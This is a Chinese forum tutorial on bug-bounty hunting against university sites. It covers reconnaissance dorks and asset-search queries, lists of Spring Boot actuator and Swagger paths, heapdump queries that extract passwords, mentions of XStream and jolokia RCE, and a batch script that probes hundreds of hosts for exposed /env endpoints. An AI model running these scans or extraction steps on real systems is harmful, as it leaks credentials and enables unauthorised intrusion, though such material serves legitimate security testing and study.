电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1600 人浏览分享

实战|从零开始的SRC挖掘——如何一洞百分

[复制链接]
1600 0
在家无所事事 打开edusrc,开启了不归路(狗头)。

前言

每一次成功的渗透 都有一个非常完备的信息搜集。
大师傅讲的好呀:信息搜集的广度决定了攻击的广度 知识面的广度决定了攻击的深度。
在goby乱扫的开始 我也是菜弟弟一样 看到什么都没感觉 直到有个师傅提醒了我:
这不是Sprint boot框架么 洞这么多还拿不下?
这也就导致了我后来的一洞百分。(只会偷大师傅思路的屑弟弟)

信息搜集

信息搜集可以从多个领域来看:
公司 子公司 域名 子域名 IPV4 IPV6 小程序 APP PC软件等等等等
我主要在EDUsrc干活 各大高校也是算在公司内的。

QQ截图20210813115103.png

比如某某大学 我们查到大学后还能干什么呢?

QQ截图20210813115140.png

那么我们就可以重点关注备案网站 APP 小程序 微信公众号 甚至于微博
微博地点 将他们转换为我们的可用资源。
企查查是付费的 我一般使用的是小蓝本
这样 域名 小程序 微信公众号 一网打尽 是不是感觉挺轻松的?
(担心有问题 重码)

100.png

有了域名之后 我们该如何是好了呢?
那当然是爆破二级域名 三级域名 我们可以选择OneforALL 验证子域名 然后使用masscan验证端口
但是我一般使用的是子域名收割机(当然layer也可以)

QQ截图20210813115330.png

这里因为工具不是我本人的,不方便提供。

他会将IPV4,IPV6,部分域名都提供 那么我们先从IP入手

99.png

IP我们可以做什么呢?

我们已经知道某个ip属于教育网段 那么怎么具体知道其他ip呢?

98.png

我们可以定位WHOIS
whois中包含了用户 邮箱 以及购买的网段!
没错 购买的网段!(很多时候大家都会忽略的一点)

97.png

有了这个 妈妈再也不用担心我打偏了(狗头)

有了网段 我们大可以开展下一步

主动信息搜集

在主动信息搜集的时候 我们可以使用一些强大的资产测绘工具
goby(目前在用)资产测绘还是挺不错的 他会有一些web服务 可以供你捡漏 不要担心没有banner
有时候goby也不认识呢!但是往往这些没有banner的都会有问题。

QQ截图20210813115632.png

被动信息搜集

被动信息搜集就是使用一些在线的大量爬取的网站。

因为这些语法网上蛮多的(个别)就不拿具体网站做展示了。
Google hack语法
百度语法
Fofa语法
shodan语法
钟馗之眼
微步在线

Google

我们先来看Google Google语法大家可能都比较熟悉
  1. site:"edu.cn"
复制代码

最基本的edu的网站后缀。
inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms
查找文本内容:
site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|admin|login|sys|managetem|password|username
查找可注入点:site:域名 inurl:aspx|jsp|php|asp
查找上传漏洞:site:域名 inurl:file|load|editor|Files
找eweb编辑器:
site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
存在的数据库:site:域名 filetype:mdb|asp|#
查看脚本类型:site:域名 filetype:asp/aspx/php/jsp
迂回策略入侵:inurl:cms/data/templates/images/index/

多种组合往往能散发不一样的魅力
百度语法
同google语法没有太大差距
Fofa语法
在fofa中如何定位一个学校呢?
有两个方法
一个是org一个是icon_hash

96.png
95.png

有了这些还怕找不到资产?
因为一个学校的icon_hash 往往都是几个固定的 所以我们搜索
icon_hash的时候 也会有不一样的效果。
如下为icon脚本(python2)
  1. import mmh3
  2. import requests
  3. response = requests.get('url/favicon.ico',verify=False)
  4. favicon = response.content.encode('base64')
  5. hash = mmh3.hash(favicon)
  6. print hash
复制代码

那么问题来了 org怎么找呢 别急

不同的搜索引擎org有略微不同

fofa的org搜索
  1. org="China Education and Research Network Center"
复制代码

当然全都是教育网段的(有些公司也会有自己的组织)

94.png

shodan语法

shodan和fofa大致相同 也是存在org和icon的,

只不过org有点不同
  1. org:"China Education and Research Network"
  2. org:"China Education and Research Network Center"
复制代码

93.png

shodan这边有时候还会更加细分 某个大学也会有自己的组织
某个公司也会有自己的组织(随机应变喽)
钟馗之眼
钟馗之眼的好处在于 他会把所有组件的漏洞都罗列出来 便于检测
  1. organization:"China Education and Research Network Center"
复制代码

92.png

微步在线
正向查找都说了 那反向呢?
微步的反向ip查找域名十分好用
某高校一个ip甚至会绑定几百个域名

91.png

那是不是找到最新的域名发现时间,开始着手了呢!

360 quake

感觉是用起来比较方便的一个

90.png

首先,直接就可以进行批量的识别

其次可以很方便的对ico进行识别

89.png

在厂商识别中也可以很方便的对历史漏洞进行查询

88.png

  1. isp: "中国教育网" AND city: "Beijing City"
复制代码

同时语句也比较简单

86.png

页面js接口

很多师傅采用jsfinder 或者油猴的插件 都可以
https://github.com/Threezh1/JSFinder
https://github.com/Threezh1/Deconstruct/tree/main/DevTools_JSFinder
在js中 可能会有很大程度上的未授权js接口造成上传/登录/修改密码等等
同时js的使用还可以追溯到chrome devtools 在js文件中打下断点 可以进行动态调试以及动态绕过

85.png

84.png

console yyds

Kunyu(坤舆)

一款信息搜集工具 包含了很多的接口包括zoomeyes 360quake

非常感谢

KnownSec 404 Team师傅们的工具

https://github.com/knownsec/Kunyu

83.png

小程序

好了好了 咱们话题要回来噢

姥爷们又说了 小程序有个p 欸可不能这样

还记得我们刚刚说到的信息搜集吗?

刚刚企查查找到的小程序 里面也有相关服务器的接口才能通讯呀!

我们打开我们的Crackminapp

82.png

将微信小程序包导进去 逆向源代码 (如果有需要,会专门出一个如何寻找/抓包小程序)

在app.js中一般存在有主url

81.png

我们需要去每个js页面中 寻找到合适的参数构造 接口 发包查看具体情况

80.png

79.png

欸?是不是就找到了呢?

app抓包

app抓包现在花样百出 我一般使用charles

78.png

当然只能是安卓7以下 高版本的话需要自己去学习喽~百度一下

(如果有想用的 也是看看情况 我在出一期)

信息搜集小汇总

信息搜集的广度决定了攻击的广度 知识面的广度决定了攻击的深度。

如上这些,完全可以混合起来 达到更加完美的效果(大佬们勿喷)。

所以 学习不要停下来啊 (希望之花~~~)

漏洞寻觅

话续上集

有的老爷们问了:有了资产不会打呀,废物,骗子,RNM退钱!(补个表情包)

欸,别急嘛

0day 能挖到么?挖不到

1day 拿来piao寒掺么?不寒掺!

这里需要时刻关注各大公众号的推文啦 星球啦 一般也能刷个十来分。

(这里感谢PeQi师傅的文库)膜拜膜拜~~



Spring boot 是越来越广泛使用的java web框架 不仅仅是高校 企业也用的越来越多

那么如果有Spring boot的漏洞岂不是乱杀?

好 如你所愿

https://github.com/LandGrey/SpringBootVulExploit

77.png

这个就是一洞百分的Spring boot(掏空了 掏空了55555)

首先我们要知道

Spring boot 2和Spring Boot 1是不同的

payload也是不同的

路由地址

swagger相关路由前两天有表哥也发了fuzz 如果存在 那便可以冲了!
  1. /v2/api-docs
  2. /swagger-ui.html
  3. /swagger
  4. /api-docs
  5. /api.html
  6. /swagger-ui
  7. /swagger/codes
  8. /api/index.html
  9. /api/v2/api-docs
  10. /v2/swagger.json
  11. /swagger-ui/html
  12. /distv2/index.html
  13. /swagger/index.html
  14. /sw/swagger-ui.html
  15. /api/swagger-ui.html
  16. /static/swagger.json
  17. /user/swagger-ui.html
  18. /swagger-ui/index.html
  19. /swagger-dubbo/api-docs
  20. /template/swagger-ui.html
  21. /swagger/static/index.html
  22. /dubbo-provider/distv2/index.html
  23. /spring-security-rest/api/swagger-ui.html
  24. /spring-security-oauth-resource/swagger-ui.html
复制代码

敏感信息

最重要的当然是env和/actuator/env了

他们一个隶属于springboot1 一个属于springboot2
  1. /actuator
  2. /auditevents
  3. /autoconfig
  4. /beans
  5. /caches
  6. /conditions
  7. /configprops
  8. /docs
  9. /dump
  10. /env
  11. /flyway
  12. /health
  13. /heapdump
  14. /httptrace
  15. /info
  16. /intergrationgraph
  17. /jolokia
  18. /logfile
  19. /loggers
  20. /liquibase
  21. /metrics
  22. /mappings
  23. /prometheus
  24. /refresh
  25. /scheduledtasks
  26. /sessions
  27. /shutdown
  28. /trace
  29. /threaddump
  30. /actuator/auditevents
  31. /actuator/beans
  32. /actuator/health
  33. /actuator/conditions
  34. /actuator/configprops
  35. /actuator/env
  36. /actuator/info
  37. /actuator/loggers
  38. /actuator/heapdump
  39. /actuator/threaddump
  40. /actuator/metrics
  41. /actuator/scheduledtasks
  42. /actuator/httptrace
  43. /actuator/mappings
  44. /actuator/jolokia
  45. /actuator/hystrix.stream
复制代码

76.png

heapdump
噢?这里又会有什么呢?

这里会有所有的堆栈信息哟

那些在env中加星号的都会出来哟

我们访问
  1. /heapdump
  2. /actuator/heapdump
复制代码

然后使用Memory Analyzer 工具oql查找即可

感谢landGrey师傅(站在巨人的肩膀上)非常感谢

https://landgrey.me/blog/16/

OQL语句如下
  1. select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

  2. select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
复制代码

69.png

噢?,这都可以?

那当然 redis 数据库 拿下~

又有老爷问了:spring boot不是rce嘛,骗子!

别着急

那么 最常见的RCE是什么呢?

eureka xstream deserialization RCE

需要先修改defaultZone 然后刷新配置

注意!修改有风险,请提前联系相关人员!

注意!修改有风险,请提前联系相关人员!

注意!修改有风险,请提前联系相关人员!

68.png

67.png

我们怎么办呢 没办法呀啊sir 只有dnslog来的实在

65.png

64.png

jolokia logback JNDI RCE
jolokia !jolokia!jolokia! yyds

19.png

详情可在那个师傅 github 里面学习哟~(详情不做展开)

18.png

批量生产

呼呼呼~终于来到这里啦,

学习了这么多,怎么找嘛,还是骗人~(语气逐渐低沉)

来了来了

如果我们在fofa中找spring boot 的相关网站,我们可以使用icon,app,还能使用关键字呀~

如何定位spring boot的呢?

报错404呀

17.png

我们通过学习的信息搜集 一通合并

16.png

ohhhh 600个

fofa这个特征是600个 如果换钟馗之眼呢?换shoadn呢?

如果换个特征呢?

其他icon等之类的方法不做演示(避免危害太大5555555555)

这个是批量脚本 把url放到list里面就行啦
  1. import requests

  2. list = ['','']

  3. for i in list:
  4.     try:
  5.         url = "http://" +i + "/actuator/env"
  6.         print(url)
  7.         res = requests.get(url=url,allow_redirects=False,timeout=5)
  8.         print(res.text)
  9.         url = "http://" +i + "/env"
  10.         print(url)
  11.         res = requests.get(url=url,allow_redirects=False,timeout=5)
  12.         print(res.text)
  13.     except:
  14.         pass

  15. print("overeeeeeeeeeee")
复制代码

后记

挖洞的时候 需要细心细心 再细心 因为一切往往都可能利用

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.